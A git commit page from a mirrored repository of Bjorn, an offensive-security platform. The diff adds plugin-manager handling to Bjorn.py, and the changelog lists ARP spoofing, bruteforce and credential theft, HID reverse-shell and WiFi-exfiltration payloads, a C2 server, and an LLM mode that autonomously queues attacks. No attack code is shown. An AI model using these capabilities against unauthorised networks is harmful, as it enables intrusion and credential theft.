mirror of
https://github.com/infinition/Bjorn.git
synced 2026-03-19 18:20:24 +00:00
feat: Add login page with dynamic RGB effects and password toggle functionality
feat: Implement package management utilities with JSON endpoints for listing and uninstalling packages feat: Create plugin management utilities with endpoints for listing, configuring, and installing plugins feat: Develop schedule and trigger management utilities with CRUD operations for schedules and triggers
This commit is contained in:
40
Bjorn.py
40
Bjorn.py
@@ -1,7 +1,4 @@
|
|||||||
# Bjorn.py
|
"""Bjorn.py - Main supervisor: thread lifecycle, health monitoring, and crash protection."""
|
||||||
# Main entry point and supervisor for the Bjorn project
|
|
||||||
# Manages lifecycle of threads, health monitoring, and crash protection.
|
|
||||||
# OPTIMIZED FOR PI ZERO 2: Low CPU overhead, aggressive RAM management.
|
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
import os
|
import os
|
||||||
@@ -305,7 +302,7 @@ class Bjorn:
|
|||||||
# Keep MANUAL sticky so supervisor does not auto-restart orchestration,
|
# Keep MANUAL sticky so supervisor does not auto-restart orchestration,
|
||||||
# but only if the current mode isn't already handling it.
|
# but only if the current mode isn't already handling it.
|
||||||
# - MANUAL/BIFROST: already non-AUTO, no need to change
|
# - MANUAL/BIFROST: already non-AUTO, no need to change
|
||||||
# - AUTO: let it be — orchestrator will restart naturally (e.g. after Bifrost auto-disable)
|
# - AUTO: let it be - orchestrator will restart naturally (e.g. after Bifrost auto-disable)
|
||||||
try:
|
try:
|
||||||
current = self.shared_data.operation_mode
|
current = self.shared_data.operation_mode
|
||||||
if current == "AI":
|
if current == "AI":
|
||||||
@@ -471,6 +468,14 @@ def handle_exit(
|
|||||||
except Exception:
|
except Exception:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
# 2e. Stop Plugin Manager
|
||||||
|
try:
|
||||||
|
mgr = getattr(shared_data, 'plugin_manager', None)
|
||||||
|
if mgr and hasattr(mgr, 'stop_all'):
|
||||||
|
mgr.stop_all()
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
# 3. Stop Web Server
|
# 3. Stop Web Server
|
||||||
try:
|
try:
|
||||||
if web_thread_obj and hasattr(web_thread_obj, "shutdown"):
|
if web_thread_obj and hasattr(web_thread_obj, "shutdown"):
|
||||||
@@ -547,7 +552,7 @@ if __name__ == "__main__":
|
|||||||
health_thread = HealthMonitor(shared_data, interval_s=health_interval)
|
health_thread = HealthMonitor(shared_data, interval_s=health_interval)
|
||||||
health_thread.start()
|
health_thread.start()
|
||||||
|
|
||||||
# Sentinel watchdog — start if enabled in config
|
# Sentinel watchdog - start if enabled in config
|
||||||
try:
|
try:
|
||||||
from sentinel import SentinelEngine
|
from sentinel import SentinelEngine
|
||||||
sentinel_engine = SentinelEngine(shared_data)
|
sentinel_engine = SentinelEngine(shared_data)
|
||||||
@@ -560,7 +565,7 @@ if __name__ == "__main__":
|
|||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.warning("Sentinel init skipped: %s", e)
|
logger.warning("Sentinel init skipped: %s", e)
|
||||||
|
|
||||||
# Bifrost engine — start if enabled in config
|
# Bifrost engine - start if enabled in config
|
||||||
try:
|
try:
|
||||||
from bifrost import BifrostEngine
|
from bifrost import BifrostEngine
|
||||||
bifrost_engine = BifrostEngine(shared_data)
|
bifrost_engine = BifrostEngine(shared_data)
|
||||||
@@ -573,7 +578,7 @@ if __name__ == "__main__":
|
|||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.warning("Bifrost init skipped: %s", e)
|
logger.warning("Bifrost init skipped: %s", e)
|
||||||
|
|
||||||
# Loki engine — start if enabled in config
|
# Loki engine - start if enabled in config
|
||||||
try:
|
try:
|
||||||
from loki import LokiEngine
|
from loki import LokiEngine
|
||||||
loki_engine = LokiEngine(shared_data)
|
loki_engine = LokiEngine(shared_data)
|
||||||
@@ -586,7 +591,7 @@ if __name__ == "__main__":
|
|||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.warning("Loki init skipped: %s", e)
|
logger.warning("Loki init skipped: %s", e)
|
||||||
|
|
||||||
# LLM Bridge — warm up singleton (starts LaRuche mDNS discovery if enabled)
|
# LLM Bridge - warm up singleton (starts LaRuche mDNS discovery if enabled)
|
||||||
try:
|
try:
|
||||||
from llm_bridge import LLMBridge
|
from llm_bridge import LLMBridge
|
||||||
LLMBridge() # Initialise singleton, kicks off background discovery
|
LLMBridge() # Initialise singleton, kicks off background discovery
|
||||||
@@ -594,17 +599,28 @@ if __name__ == "__main__":
|
|||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.warning("LLM Bridge init skipped: %s", e)
|
logger.warning("LLM Bridge init skipped: %s", e)
|
||||||
|
|
||||||
# MCP Server — start if enabled in config
|
# MCP Server - start if enabled in config
|
||||||
try:
|
try:
|
||||||
import mcp_server
|
import mcp_server
|
||||||
if shared_data.config.get("mcp_enabled", False):
|
if shared_data.config.get("mcp_enabled", False):
|
||||||
mcp_server.start()
|
mcp_server.start()
|
||||||
logger.info("MCP server started")
|
logger.info("MCP server started")
|
||||||
else:
|
else:
|
||||||
logger.info("MCP server loaded (disabled — enable via Settings)")
|
logger.info("MCP server loaded (disabled - enable via Settings)")
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.warning("MCP server init skipped: %s", e)
|
logger.warning("MCP server init skipped: %s", e)
|
||||||
|
|
||||||
|
# Plugin Manager - discover and load enabled plugins
|
||||||
|
try:
|
||||||
|
from plugin_manager import PluginManager
|
||||||
|
plugin_manager = PluginManager(shared_data)
|
||||||
|
shared_data.plugin_manager = plugin_manager
|
||||||
|
plugin_manager.load_all()
|
||||||
|
plugin_manager.install_db_hooks()
|
||||||
|
logger.info(f"Plugin manager started ({len(plugin_manager._instances)} plugins loaded)")
|
||||||
|
except Exception as e:
|
||||||
|
logger.warning("Plugin manager init skipped: %s", e)
|
||||||
|
|
||||||
# Signal Handlers
|
# Signal Handlers
|
||||||
exit_handler = lambda s, f: handle_exit(
|
exit_handler = lambda s, f: handle_exit(
|
||||||
s,
|
s,
|
||||||
@@ -708,6 +724,6 @@ if __name__ == "__main__":
|
|||||||
runtime_state_thread,
|
runtime_state_thread,
|
||||||
False,
|
False,
|
||||||
)
|
)
|
||||||
except:
|
except Exception:
|
||||||
pass
|
pass
|
||||||
sys.exit(1)
|
sys.exit(1)
|
||||||
|
|||||||
490
CHANGELOG.md
Normal file
490
CHANGELOG.md
Normal file
@@ -0,0 +1,490 @@
|
|||||||
|
# BJORN — Changelog
|
||||||
|
|
||||||
|
> **From Viking Raider to Cyber Warlord.**
|
||||||
|
> This release represents a complete transformation of Bjorn — from a \~8,200-line Python prototype into a **\~58,000-line Python + \~42,000-line frontend** autonomous cybersecurity platform with AI orchestration, WiFi recon, HID attacks, network watchdog, C2 infrastructure, and a full Single-Page Application dashboard.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## [2.1.0] — 2026-03-19
|
||||||
|
|
||||||
|
### Codebase Cleanup
|
||||||
|
- All Python file headers standardized to `"""filename.py - Description."""` format (~120 files)
|
||||||
|
- All French comments, docstrings, log/print strings, and error messages translated to English
|
||||||
|
- Removed redundant/obvious comments, verbose 10-20 line header essays trimmed to 1-3 lines
|
||||||
|
- Fixed encoding artifacts (garbled UTF-8 box-drawing chars in CSS)
|
||||||
|
- Fixed `# webutils/` path typos in 3 web_utils files
|
||||||
|
- Replaced LLM-style em dashes with plain hyphens across all .py files
|
||||||
|
|
||||||
|
### Custom Scripts System
|
||||||
|
- **Custom scripts directory** (`actions/custom/`) for user-uploaded scripts, ignored by orchestrator
|
||||||
|
- **Two script formats supported**: Bjorn-format (class + `execute()` + `shared_data`) and free Python scripts (plain `argparse`)
|
||||||
|
- **Auto-detection** via AST parsing: scripts with `b_class` var use action_runner, others run as raw subprocess
|
||||||
|
- **`b_args` support** for both formats: drives web UI controls (text, number, select, checkbox, slider)
|
||||||
|
- **Upload/delete** via web UI with metadata extraction (no code exec during upload)
|
||||||
|
- **Auto-registration**: scripts dropped in `actions/custom/` via SSH are detected on next API call
|
||||||
|
- Two example templates: `example_bjorn_action.py` and `example_free_script.py`
|
||||||
|
- Custom scripts appear in console-sse manual mode dropdown under `<optgroup>`
|
||||||
|
|
||||||
|
### Action Runner
|
||||||
|
- **`action_runner.py`** - Generic subprocess wrapper that bootstraps `shared_data` for manual action execution
|
||||||
|
- Supports `--ip`, `--port`, `--mac` + arbitrary `--key value` args injected as `shared_data` attributes
|
||||||
|
- SIGTERM handler for graceful stop from the web UI
|
||||||
|
- MAC auto-resolution from DB if not provided
|
||||||
|
- Handles both `execute()` and `scan()` (global actions like NetworkScanner)
|
||||||
|
|
||||||
|
### Script Scheduler & Conditional Triggers
|
||||||
|
- **`script_scheduler.py`** - Lightweight 30s-tick background daemon for automated script execution
|
||||||
|
- **Recurring schedules**: run every N seconds (min 30s), persistent across reboots
|
||||||
|
- **One-shot schedules**: fire at a specific datetime, auto-disable after
|
||||||
|
- **Conditional triggers**: fire scripts when DB conditions are met (AND/OR block logic)
|
||||||
|
- **8 condition types**: `action_result`, `hosts_with_port`, `hosts_alive`, `cred_found`, `has_vuln`, `db_count`, `time_after`, `time_before`
|
||||||
|
- **Orchestrator hook**: triggers evaluated immediately when actions complete (not just on 30s tick)
|
||||||
|
- **Concurrency limited** to 4 simultaneous scheduled scripts (Pi Zero friendly)
|
||||||
|
- **Condition builder** (`web/js/core/condition-builder.js`) - Visual nested AND/OR block editor
|
||||||
|
- Scheduler page extended with 3 tabs: Queue (existing kanban), Schedules, Triggers
|
||||||
|
- Full CRUD UI for schedules and triggers with inline edit, toggle, delete, auto-refresh
|
||||||
|
- "Test" button for dry-run condition evaluation
|
||||||
|
|
||||||
|
### Package Manager
|
||||||
|
- **pip package management** for custom script dependencies
|
||||||
|
- **SSE streaming** install progress (`pip install --break-system-packages`)
|
||||||
|
- Packages tracked in DB (`custom_packages` table) - only recorded after successful install
|
||||||
|
- Uninstall with DB cleanup
|
||||||
|
- Package name validation (regex whitelist, no shell injection)
|
||||||
|
- New "Packages" tab in Actions page sidebar
|
||||||
|
|
||||||
|
### New Database Modules
|
||||||
|
- `db_utils/schedules.py` - Schedule and trigger persistence (CRUD, due queries, cooldown checks)
|
||||||
|
- `db_utils/packages.py` - Custom package tracking
|
||||||
|
|
||||||
|
### New Web Endpoints
|
||||||
|
- `/api/schedules/*` (list, create, update, delete, toggle) - 5 endpoints
|
||||||
|
- `/api/triggers/*` (list, create, update, delete, toggle, test) - 6 endpoints
|
||||||
|
- `/api/packages/*` (list, install SSE, uninstall) - 3 endpoints
|
||||||
|
- `/upload_custom_script`, `/delete_custom_script` - Custom script management
|
||||||
|
|
||||||
|
### Resource & Memory Fixes
|
||||||
|
- Script output buffer capped at 2000 lines (was unbounded)
|
||||||
|
- Finished scripts dict auto-pruned (max 20 historical entries)
|
||||||
|
- AST parse results cached by file mtime (no re-parsing on every API call)
|
||||||
|
- Module imports replaced with AST extraction in `list_scripts()` (no more `sys.modules` pollution)
|
||||||
|
- Custom scripts filesystem scan throttled to once per 30s
|
||||||
|
- Scheduler daemon: event queue capped at 100, subprocess cleanup with `wait()` + `stdout.close()`
|
||||||
|
- Package install: graceful terminate -> wait -> kill cascade with FD cleanup
|
||||||
|
|
||||||
|
### Multilingual Comments Import
|
||||||
|
- `comment.py` `_ensure_comments_loaded()` now imports all `comments.*.json` files on every startup
|
||||||
|
- Drop `comments.fr.json`, `comments.de.json`, etc. next to `comments.en.json` for automatic multi-language support
|
||||||
|
- Existing comments untouched via `INSERT OR IGNORE` (unique index dedup)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## [2.0.0] — 2025/2026 Major Release
|
||||||
|
|
||||||
|
### TL;DR — What's New
|
||||||
|
|
||||||
|
| Area | v1 (alpha 2) | v2 (this release) |
|
||||||
|
|------|-------------|-------------------|
|
||||||
|
| Python codebase | ~8,200 lines | **~58,000 lines** (7x) |
|
||||||
|
| Web frontend | ~2,100 lines (6 static HTML pages) | **~42,000 lines** (25-page SPA) |
|
||||||
|
| Action modules | 17 | **32** |
|
||||||
|
| Database | Monolithic SQLite helper | **Modular facade** (18 specialized modules) |
|
||||||
|
| AI/ML | Basic heuristic scoring | **Full RL engine** + LLM orchestrator + MCP server |
|
||||||
|
| Web UI | Static multi-page HTML | **Hash-routed SPA** with lazy-loading, theming, i18n |
|
||||||
|
| Languages | English only | **7 languages** (EN, FR, ES, DE, IT, RU, ZH) |
|
||||||
|
| WiFi recon | None | **Bifrost engine** (Pwnagotchi-compatible) |
|
||||||
|
| HID attacks | None | **Loki module** (USB Rubber Ducky-style) |
|
||||||
|
| Network watchdog | None | **Sentinel engine** (9 detection modules) |
|
||||||
|
| C2 server | None | **ZombieLand** (encrypted C2 with agent management) |
|
||||||
|
| LLM integration | None | **LLM Bridge** + MCP Server + Autonomous Orchestrator |
|
||||||
|
| Display | Basic 2.13" e-paper | **Multi-size EPD** + web-based layout editor |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### New Major Features
|
||||||
|
|
||||||
|
#### AI & LLM Integration — Bjorn Gets a Brain
|
||||||
|
|
||||||
|
- **LLM Bridge** (`llm_bridge.py`) — Singleton, thread-safe LLM backend with automatic cascade:
|
||||||
|
1. LaRuche swarm node (LAND protocol / mDNS auto-discovery)
|
||||||
|
2. Local Ollama instance
|
||||||
|
3. External API (Anthropic / OpenAI / OpenRouter)
|
||||||
|
4. Graceful fallback to templates
|
||||||
|
- **Agentic tool-calling loop** — Up to 6-turn tool-use cycles with Anthropic API, enabling the LLM to query live network data and queue actions autonomously
|
||||||
|
- **MCP Server** (`mcp_server.py`) — Model Context Protocol server exposing 7 Bjorn tools (`get_hosts`, `get_vulnerabilities`, `get_credentials`, `get_action_history`, `get_status`, `run_action`, `query_db`), compatible with Claude Desktop and any MCP client
|
||||||
|
- **LLM Orchestrator** (`llm_orchestrator.py`) — Three operating modes:
|
||||||
|
- `none` — LLM disabled (default, zero overhead)
|
||||||
|
- `advisor` — LLM suggests one action per cycle (priority 85)
|
||||||
|
- `autonomous` — Own daemon thread, full tool-calling loop, LLM becomes sole master of the action queue
|
||||||
|
- **Smart fingerprint skip** — Autonomous mode only calls the LLM when network state actually changes (new hosts, vulns, or credentials), saving API tokens
|
||||||
|
- **LAND Protocol** (`land_protocol.py`) — Native Python client for Local AI Network Discovery, auto-detects LaRuche inference nodes on LAN via mDNS
|
||||||
|
- **LLM-powered EPD comments** — E-paper display comments optionally generated by LLM with Norse personality, seamless fallback to database templates
|
||||||
|
- **Web chat interface** — Terminal-style chat with the LLM, tool-calling support, orchestrator reasoning log viewer
|
||||||
|
- **LLM configuration page** — Full web UI for all LLM/MCP settings, connection testing, per-tool access control
|
||||||
|
- **45+ new configuration parameters** for LLM bridge, MCP server, and orchestrator
|
||||||
|
|
||||||
|
#### Bifrost — WiFi Reconnaissance Engine
|
||||||
|
|
||||||
|
- **Pwnagotchi-compatible** WiFi recon daemon running alongside all Bjorn modes
|
||||||
|
- **BettercapClient** — Full HTTP API client for bettercap (session control, WiFi module management, handshake capture)
|
||||||
|
- **BifrostAgent** — Drives channel hopping, AP tracking, client deauth, handshake collection
|
||||||
|
- **BifrostAutomata** — State machine (MANUAL, AUTOMATIC, BORED, SAD, EXCITED, LONELY) controlling recon aggressiveness
|
||||||
|
- **BifrostEpoch** — Tracks WiFi recon epochs with reward calculation
|
||||||
|
- **BifrostVoice** — Personality/mood system for EPD display messages
|
||||||
|
- **Plugin system** — Extensible event-driven plugin architecture
|
||||||
|
- **Dedicated web page** (`bifrost.js`) for real-time WiFi recon monitoring
|
||||||
|
- **Database module** (`db_utils/bifrost.py`) for persistent handshake and AP storage
|
||||||
|
- **Monitor mode management** — Automatic WiFi interface setup/teardown scripts
|
||||||
|
|
||||||
|
#### Loki — USB HID Attack Framework
|
||||||
|
|
||||||
|
- **USB Rubber Ducky-style HID injection** via Raspberry Pi USB gadget mode
|
||||||
|
- **HID Controller** (`loki/hid_controller.py`) — Low-level USB HID keyboard/mouse report writer to `/dev/hidg0`/`/dev/hidg1`
|
||||||
|
- **HIDScript engine** (`loki/hidscript.py`) — JavaScript-based payload scripting language
|
||||||
|
- **Multi-language keyboard layouts** — US, FR, DE, ES, IT, RU, UK, ZH with JSON layout definitions and auto-generation tool
|
||||||
|
- **Pre-built payloads** — Hello World, Reverse Shell (Linux), Rickroll, WiFi credential exfiltration (Windows)
|
||||||
|
- **Job queue** (`loki/jobs.py`) — Managed execution of HID payloads with status tracking
|
||||||
|
- **Loki Deceiver action** (`actions/loki_deceiver.py`) — Rogue access point creation for WiFi authentication capture and MITM
|
||||||
|
- **Dedicated web page** (`loki.js`) for payload management and execution
|
||||||
|
- **Database module** (`db_utils/loki.py`) for job persistence
|
||||||
|
|
||||||
|
#### Sentinel — Network Watchdog Engine
|
||||||
|
|
||||||
|
- **9 detection modules** running as a lightweight background daemon:
|
||||||
|
- `new_device` — Never-seen MAC appears on the network
|
||||||
|
- `device_join` — Known device comes back online
|
||||||
|
- `device_leave` — Known device goes offline
|
||||||
|
- `arp_spoof` — Same IP claimed by multiple MACs (ARP cache conflict)
|
||||||
|
- `port_change` — Host ports changed since last snapshot
|
||||||
|
- `service_change` — New service detected on known host
|
||||||
|
- `rogue_dhcp` — Multiple DHCP servers detected
|
||||||
|
- `dns_anomaly` — DNS response pointing to unexpected IP
|
||||||
|
- `mac_flood` — Sudden burst of new MACs (possible MAC flooding attack)
|
||||||
|
- **Zero extra network traffic** — All checks read from existing Bjorn DB
|
||||||
|
- **Configurable severity levels** (info, warning, critical)
|
||||||
|
- **Dedicated web page** (`sentinel.js`) for alert browsing and rule management
|
||||||
|
- **Database module** (`db_utils/sentinel.py`) for alert persistence
|
||||||
|
|
||||||
|
#### ZombieLand — Command & Control Infrastructure
|
||||||
|
|
||||||
|
- **C2 Manager** (`c2_manager.py`) — Professional C2 server with:
|
||||||
|
- Encrypted agent communication (Fernet)
|
||||||
|
- SSH-based agent registration via Paramiko
|
||||||
|
- Agent heartbeat monitoring and health tracking
|
||||||
|
- Job dispatch and result collection
|
||||||
|
- UUID-based agent identification
|
||||||
|
- **Dedicated web page** (`zombieland.js`) with SSE-powered real-time agent monitoring
|
||||||
|
- **Database module** (`db_utils/agents.py`) for agent and job persistence
|
||||||
|
- **Marked as experimental** with appropriate UI warnings
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### New Action Modules (15 New Actions)
|
||||||
|
|
||||||
|
| Action | Module | Description |
|
||||||
|
|--------|--------|-------------|
|
||||||
|
| **ARP Spoofer** | `arp_spoofer.py` | Bidirectional ARP cache poisoning for MITM positioning with automatic gateway detection and clean ARP table restoration |
|
||||||
|
| **Berserker Force** | `berserker_force.py` | Service resilience stress-testing — baseline measurement, controlled TCP/SYN/HTTP load testing, performance degradation quantification |
|
||||||
|
| **DNS Pillager** | `dns_pillager.py` | Comprehensive DNS reconnaissance — reverse DNS, record enumeration (A/AAAA/MX/NS/TXT/CNAME/SOA/SRV/PTR), zone transfer attempts |
|
||||||
|
| **Freya Harvest** | `freya_harvest.py` | Network-wide data harvesting and consolidation action |
|
||||||
|
| **Heimdall Guard** | `heimdall_guard.py` | Advanced stealth module for traffic manipulation and IDS/IPS evasion |
|
||||||
|
| **Loki Deceiver** | `loki_deceiver.py` | Rogue access point creation for WiFi authentication capture and MITM attacks |
|
||||||
|
| **Odin Eye** | `odin_eye.py` | Passive network analyzer for credential and data pattern hunting |
|
||||||
|
| **Rune Cracker** | `rune_cracker.py` | Advanced hash/credential cracking module |
|
||||||
|
| **Thor Hammer** | `thor_hammer.py` | Lightweight service fingerprinting via TCP connect + banner grab (Pi Zero friendly, no nmap dependency) |
|
||||||
|
| **Valkyrie Scout** | `valkyrie_scout.py` | Web surface reconnaissance — probes common paths, extracts auth types, login forms, missing security headers, error/debug strings |
|
||||||
|
| **Yggdrasil Mapper** | `yggdrasil_mapper.py` | Network topology mapper via traceroute with service enrichment from DB and merged JSON topology graph |
|
||||||
|
| **Web Enumeration** | `web_enum.py` | Web service enumeration and directory discovery |
|
||||||
|
| **Web Login Profiler** | `web_login_profiler.py` | Web login form detection and profiling |
|
||||||
|
| **Web Surface Mapper** | `web_surface_mapper.py` | Web application surface mapping and endpoint discovery |
|
||||||
|
| **WPAsec Potfiles** | `wpasec_potfiles.py` | WPA-sec.stanev.org potfile integration for WiFi password recovery |
|
||||||
|
| **Presence Join** | `presence_join.py` | Event-triggered action when a host joins the network (priority 90) |
|
||||||
|
| **Presence Leave** | `presence_left.py` | Event-triggered action when a host leaves the network (priority 90) |
|
||||||
|
| **Demo Action** | `demo_action.py` | Template/demonstration action for community developers |
|
||||||
|
|
||||||
|
### Improved Action Modules
|
||||||
|
|
||||||
|
- All bruteforce actions (SSH, FTP, SMB, SQL, Telnet) **rewritten** with shared `bruteforce_common.py` module providing:
|
||||||
|
- `ProgressTracker` class for unified EPD progress reporting
|
||||||
|
- Standardized credential iteration and result handling
|
||||||
|
- Configurable rate limiting and timeout management
|
||||||
|
- **Scanning action** (`scanning.py`) improved with better network discovery and host tracking
|
||||||
|
- **Nmap Vulnerability Scanner** refined with better CVE parsing and result persistence
|
||||||
|
- All steal/exfiltrate modules updated for new database schema compatibility
|
||||||
|
|
||||||
|
### Removed Actions
|
||||||
|
|
||||||
|
| Action | Reason |
|
||||||
|
|--------|--------|
|
||||||
|
| `rdp_connector.py` / `steal_files_rdp.py` | Replaced by more capable modules |
|
||||||
|
| `log_standalone.py` / `log_standalone2.py` | Consolidated into proper logging system |
|
||||||
|
| `ftp_connector.py`, `smb_connector.py`, etc. | Connector pattern replaced by dedicated bruteforce modules |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Web Interface — Complete Rewrite
|
||||||
|
|
||||||
|
#### Architecture Revolution
|
||||||
|
|
||||||
|
- **Static multi-page HTML** (6 pages) replaced by a **hash-routed Single Page Application** with 25 lazy-loaded page modules
|
||||||
|
- **SPA Router** (`web/js/core/router.js`) — Hash-based routing with guaranteed `unmount()` cleanup before page transitions
|
||||||
|
- **ResourceTracker** (`web/js/core/resource-tracker.js`) — Automatic tracking and cleanup of intervals, timeouts, event listeners, and AbortControllers per page — **zero memory leaks**
|
||||||
|
- **Single `index.html`** entry point replaces 6 separate HTML files
|
||||||
|
- **Modular CSS** — Global stylesheet + per-page CSS files (`web/css/pages/*.css`)
|
||||||
|
|
||||||
|
#### New Web Pages (19 New Pages)
|
||||||
|
|
||||||
|
| Page | Module | Description |
|
||||||
|
|------|--------|-------------|
|
||||||
|
| **Dashboard** | `dashboard.js` | Real-time system stats, resource monitoring, uptime tracking |
|
||||||
|
| **Actions** | `actions.js` | Action browser with enable/disable toggles and configuration |
|
||||||
|
| **Actions Studio** | `actions-studio.js` | Visual action pipeline editor with drag-and-drop canvas |
|
||||||
|
| **Attacks** | `attacks.js` | Attack configuration with image upload and EPD layout editor tab |
|
||||||
|
| **Backup** | `backup.js` | Database backup/restore management |
|
||||||
|
| **Bifrost** | `bifrost.js` | WiFi recon monitoring dashboard |
|
||||||
|
| **Database** | `database.js` | Direct database browser and query tool |
|
||||||
|
| **Files** | `files.js` | File manager with upload, drag-drop, rename, delete |
|
||||||
|
| **LLM Chat** | `llm-chat.js` | Terminal-style LLM chat with tool-calling and orch log viewer |
|
||||||
|
| **LLM Config** | `llm-config.js` | Full LLM/MCP configuration panel |
|
||||||
|
| **Loki** | `loki.js` | HID attack payload management and execution |
|
||||||
|
| **RL Dashboard** | `rl-dashboard.js` | Reinforcement Learning metrics and model performance visualization |
|
||||||
|
| **Scheduler** | `scheduler.js` | Action scheduler configuration and monitoring |
|
||||||
|
| **Sentinel** | `sentinel.js` | Network watchdog alerts and rule management |
|
||||||
|
| **Vulnerabilities** | `vulnerabilities.js` | CVE browser with modal details and feed sync |
|
||||||
|
| **Web Enum** | `web-enum.js` | Web enumeration results browser with status filters |
|
||||||
|
| **ZombieLand** | `zombieland.js` | C2 agent management dashboard (experimental) |
|
||||||
|
| **Bjorn Debug** | `bjorn-debug.js` | System debug information and diagnostics |
|
||||||
|
| **Scripts** | (via scheduler) | Custom script upload and execution |
|
||||||
|
|
||||||
|
#### Improved Existing Pages
|
||||||
|
|
||||||
|
- **Network** (`network.js`) — D3 force-directed graph completely rewritten with proper cleanup on unmount, lazy D3 loading, search debounce, simulation stop
|
||||||
|
- **Credentials** (`credentials.js`) — AbortController tracking, toast timer cleanup, proper state reset
|
||||||
|
- **Loot** (`loot.js`) — Search timer cleanup, ResourceTracker integration
|
||||||
|
- **NetKB** (`netkb.js`) — View mode persistence, filter tracking, pagination integration
|
||||||
|
- **Bjorn/EPD** (`bjorn.js`) — Image refresh tracking, zoom controls, null EPD state handling
|
||||||
|
|
||||||
|
#### Internationalization (i18n)
|
||||||
|
|
||||||
|
- **7 supported languages**: English, French, Spanish, German, Italian, Russian, Chinese
|
||||||
|
- **i18n module** (`web/js/core/i18n.js`) with JSON translation files, `t()` helper function, and `data-i18n` attribute auto-translation
|
||||||
|
- **Fallback chain**: Current language -> English -> developer warning
|
||||||
|
- **Language selector** in UI with `localStorage` persistence
|
||||||
|
|
||||||
|
#### Theming Engine
|
||||||
|
|
||||||
|
- **Theme module** (`web/js/core/theme.js`) — CSS variable-based theming system
|
||||||
|
- **Preset themes** including default "Nordic Acid" (dark green/cyan)
|
||||||
|
- **User custom themes** with color picker + raw CSS editing
|
||||||
|
- **Icon pack switching** via icon registry
|
||||||
|
- **Theme import/export** as JSON
|
||||||
|
- **Live preview** — changes applied instantly without page reload
|
||||||
|
- **`localStorage` persistence** across sessions
|
||||||
|
|
||||||
|
#### Other Frontend Features
|
||||||
|
|
||||||
|
- **Console SSE** (`web/js/core/console-sse.js`) — Server-Sent Events for real-time log streaming with reconnect logic
|
||||||
|
- **Quick Panel** (`web/js/core/quickpanel.js`) — Fast-access control panel
|
||||||
|
- **Sidebar Layout** (`web/js/core/sidebar-layout.js`) — Collapsible sidebar navigation
|
||||||
|
- **Settings Config** (`web/js/core/settings-config.js`) — Dynamic form generation from config schema with chip editor
|
||||||
|
- **EPD Layout Editor** (`web/js/core/epd-editor.js`) — SVG drag-and-drop editor for e-paper display layouts with grid/snap, zoom (50-600%), undo stack, element properties panel
|
||||||
|
- **D3.js v7** bundled for network topology visualization
|
||||||
|
- **PWA Manifest** updated for installable web app experience
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Core Engine Improvements
|
||||||
|
|
||||||
|
#### Database — Modular Facade Architecture
|
||||||
|
|
||||||
|
- **Complete database rewrite** — Monolithic SQLite helper replaced by `BjornDatabase` facade delegating to **18 specialized modules** in `db_utils/`:
|
||||||
|
- `base.py` — Connection management, thread-safe connection pool
|
||||||
|
- `config.py` — Configuration CRUD operations
|
||||||
|
- `hosts.py` — Host discovery and tracking
|
||||||
|
- `actions.py` — Action metadata and history
|
||||||
|
- `queue.py` — Action queue with priority system and circuit breaker
|
||||||
|
- `vulnerabilities.py` — CVE vulnerability storage
|
||||||
|
- `software.py` — Software inventory
|
||||||
|
- `credentials.py` — Credential storage
|
||||||
|
- `services.py` — Service/port tracking
|
||||||
|
- `scripts.py` — Custom script management
|
||||||
|
- `stats.py` — Statistics and metrics
|
||||||
|
- `backups.py` — Database backup/restore
|
||||||
|
- `comments.py` — EPD comment templates
|
||||||
|
- `agents.py` — C2 agent management
|
||||||
|
- `studio.py` — Actions Studio pipeline data
|
||||||
|
- `webenum.py` — Web enumeration results
|
||||||
|
- `sentinel.py` — Sentinel alert storage
|
||||||
|
- `bifrost.py` — WiFi recon data
|
||||||
|
- `loki.py` — HID attack job storage
|
||||||
|
- **Full backward compatibility** maintained via `__getattr__` delegation
|
||||||
|
|
||||||
|
#### Orchestrator — Smarter, More Resilient
|
||||||
|
|
||||||
|
- **Action Scheduler** (`action_scheduler.py`) — Complete rewrite with:
|
||||||
|
- Trigger evaluation system (`on_host_alive`, `on_port_change`, `on_web_service`, `on_join`, `on_leave`, `on_start`, `on_success:*`)
|
||||||
|
- Requirements checking with dependency resolution
|
||||||
|
- Cooldown and rate limiting per action
|
||||||
|
- Priority queue processing
|
||||||
|
- Circuit breaker integration
|
||||||
|
- LLM autonomous mode skip option
|
||||||
|
- **Per-action circuit breaker** — 3-state machine (closed -> open -> half-open) with exponential backoff, prevents repeated failures from wasting resources
|
||||||
|
- **Global concurrency limiter** — DB-backed running action count check, configurable `semaphore_slots`
|
||||||
|
- **Manual mode with active scanning** — Background scan timer keeps network discovery running even in manual mode
|
||||||
|
- **Runtime State Updater** (`runtime_state_updater.py`) — Dedicated background thread keeping display-facing data fresh, decoupled from render loop
|
||||||
|
|
||||||
|
#### AI/ML Engine — From Heuristic to Reinforcement Learning
|
||||||
|
|
||||||
|
- **AI Engine** (`ai_engine.py`) — Full reinforcement learning decision engine:
|
||||||
|
- Feature-based action scoring
|
||||||
|
- Model versioning with up to 3 versions on disk
|
||||||
|
- Auto-rollback if average reward drops after 50 decisions
|
||||||
|
- Cold-start bootstrap with persistent per-(action, port_profile) running averages
|
||||||
|
- Blended heuristic/bootstrap scoring during warm-up phase
|
||||||
|
- **Feature Logger** (`feature_logger.py`) — Structured feature logging for ML training with variance-based feature selection
|
||||||
|
- **Data Consolidator** (`data_consolidator.py`) — Aggregates logged features into training-ready datasets exportable for TensorFlow/PyTorch
|
||||||
|
- **Continuous reward shaping** — Novelty bonus, repeat penalty, diminishing returns, partial credit for long-running failed actions
|
||||||
|
- **AI utility modules** (`ai_utils.py`) for shared ML helper functions
|
||||||
|
|
||||||
|
#### Display — Multi-Size EPD Support
|
||||||
|
|
||||||
|
- **Display Layout Engine** (`display_layout.py`) — JSON-based element positioning system:
|
||||||
|
